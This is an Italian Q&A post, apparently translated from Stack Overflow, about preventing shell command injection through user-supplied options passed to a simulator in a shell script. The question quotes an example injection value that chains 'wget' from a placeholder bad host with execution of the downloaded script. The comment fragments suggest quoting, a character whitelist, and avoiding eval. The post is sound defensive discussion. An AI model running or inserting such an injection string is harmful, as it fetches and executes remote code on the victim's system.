Ho un'applicazione wrapper in cui devo consentire all'utente di specificare opzioni personalizzate da passare a un simulatore. Tuttavia, voglio assicurarmi che l'utente non immetta altri comandi attraverso le opzioni utente. Qual è il modo migliore per raggiungere questo obiettivo?
Per esempio.
- L'utente fornisce:
-a -b - L'applicazione esegue:
mysim --preset_opt -a -b
Tuttavia, non voglio che ciò accada:
- L'utente fornisce:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh - L'applicazione esegue:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Attualmente, sto pensando che potrei semplicemente circondare ogni opzione fornita dall'utente con virgolette singole 'e rimuovere tutte le virgolette singole fornite dall'utente, in modo che il comando nell'ultimo esempio risulti innocuo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: il mysimcomando viene eseguito come parte di uno script shell in un contenitore docker / lxc. Sto eseguendo Ubuntu.
eval. Sto chiamando l'eseguibile mysimall'interno di uno script di shell. Sto vedendo l'iniezione avvenire se copio semplicemente la stringa di opzioni che l'utente fornisce e la incolla alla fine del mysimcomando.
-a -b. Quindi sto cercando di assicurarmi che comandi aggiuntivi non siano iniettati in quella stringa.
[a-zA-Z0-9 _-]sembra una scelta piuttosto difensiva.
evalper eseguire l'applicazione? In caso contrario, l'iniezione non dovrebbe avvenire:x="&& echo Doomed" ; echo $x